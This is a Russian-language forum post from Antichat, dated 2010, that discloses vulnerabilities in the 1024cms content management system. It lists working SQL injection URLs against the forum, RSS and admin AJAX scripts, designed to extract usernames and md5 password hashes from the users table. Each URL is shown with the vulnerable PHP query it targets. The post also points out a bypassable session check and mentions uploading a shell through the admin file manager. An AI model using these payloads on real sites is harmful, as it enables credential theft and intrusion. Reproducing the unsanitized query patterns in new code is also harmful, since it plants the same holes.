ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
 
 
Опции темы Поиск в этой теме Опции просмотра

1024cms
  #1  
Старый 13.03.2010, 21:20
Аватар для Root-access
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию 1024cms

Сайт: www.1024cms.org
Префикс таблиц по умолчанию: otatf_
Алгоритм хеширования: md5($pass)
SQLi
Движок просто кишит инъекциями и другими уязвимостями. Кстати, он отказывается работать при register_globals=on, это видимо у них предосторожность такая...) Поскольку в противном случае число уязвимостей удвоится.
В модуле форума:
Код:
http://localhost/1024/index.php?p=viewforum&id=1'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat((select+password+from+otatf_users+limit+0,1),floor(rand(0)*2)))--+
Уязвимая строчка в 1024\pages\viewforum\default\content.php:
PHP код:
...
$get_cat_type mysql_query("SELECT * FROM ".$prefix."subcats WHERE id='".$id."'") or die("Cannot get category type: ".mysql_error());
... 
В RSS: //Плин, теперь нагуглил, что бага старая, но пусть будет
Код:
http://localhost/1024/rss.php?t=vp&id=1'+or+(select+count(*)+from+(select+1+union+select+2+union+select+3)x+group+by+concat((select+password+from+otatf_users+limit+0,1),floor(rand(0)*2)))--+
Уязвимый участок \1024\rss.php:
PHP код:
...
else if (
$_GET['t'] == "vp") { 
    
$topic_id $_GET['id']; 
     
    
//Start RSS vars 
    
$items = array(); 
    
$channel = array(); 
     
    
//Get topic 
    
$get_tp mysql_query("SELECT t.uid AS t_uid, t.title AS t_title, t.content AS t_content, t.date AS t_date, f.id AS f_id, f.name AS f_name, f.description AS f_descrip FROM ".$prefix."topics t, ".$prefix."subcats f WHERE t.id='".$topic_id."' AND f.id=t.tid") or die("Cannot get TP: ".mysql_error());
... 
В различных служебных скриптах: //таких инъекций в этом движке, похоже, тучи, как и подобных скриптов
Код:
http://localhost/1024/pages/download/admin/ajax/sub/edit_sub_it.php?cat='+union+select+1,concat(username,0x3b,password)+from+otatf_users--+
Эта скуль очень приятная, запрос выполняется по циклу и выводятся все поля в теге <option>.
Уязвимый код в \1024\pages\download\admin\ajax\sub\edit_sub_it.ph p:
PHP код:
...
$get_cats = mysql_query("SELECT id, name FROM ".$prefix."downloadsub WHERE category='".$_GET['cat']."' ORDER BY weight ASC") or die("Cannot get cats: ".mysql_error());
...
<option value="<?php echo $cat['id']; ?>"><?php echo clean_smart($cat['name']); ?></option>
...
Код:
http://localhost/1024/pages/download/admin/ajax/sub/weight_sub.php?cat='+union+select+1,concat(username,0x3b,password),3+from+otatf_users--+
Такая же приятная скуль, выдаёт красивый список.
Уязвимый код в \1024\pages\download\admin\ajax\sub\weight_sub.php:
PHP код:
...
<?php 
$get_cat 
mysql_query("SELECT id, name, weight FROM ".$prefix."downloadsub WHERE category='".$_GET['cat']."' ORDER BY weight ASC") or die("Cannot get forums: ".mysql_error()); 
while(
$cat mysql_fetch_array($get_cat)) { 
?> 
    <li id="d_<?php echo $cat['id']; ?>"><?php echo $cat['name']; ?></li> 
<?php ?>
...
Код:
http://localhost/1024/pages/download/admin/ajax/sub/edit_sub_do.php?name=1&type=1&descrip&id=1'+and+sleep(10)--+
Что-то в этой инъекции в UPDATE у меня вывод не получился, туплю где-то, можно перебором ломать, например, со SLEEP().
Уязвимый код в \1024\pages\download\admin\ajax\sub\edit_sub_do.ph p:
PHP код:
...
mysql_query("UPDATE ".$prefix."downloadsub SET category='".$_GET['cat']."', name='".quote_smart($_GET['name'])."', description='".quote_smart($desc)."' WHERE id='".$_GET['id']."'")
... 
Кстати у них в этих админских скриптах весьма оригинальная защита от доступа несанкционированного:
PHP код:
if($_SESSION['type'] !== '1' || $_GET['type'] !== '1') die("Incorrect Session"); 
Такая строчка там встречается очень часто, о чём думали разрабы, я не знаю.
CE
В админке есть разные варианты заливки шелла, например, через файловый менеджер:
Код:
http://localhost/1024/admin/index.php?op=files

Последний раз редактировалось Root-access; 24.03.2010 в 00:25.. Причина: очепятка: не mq-on, а register_global=on
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ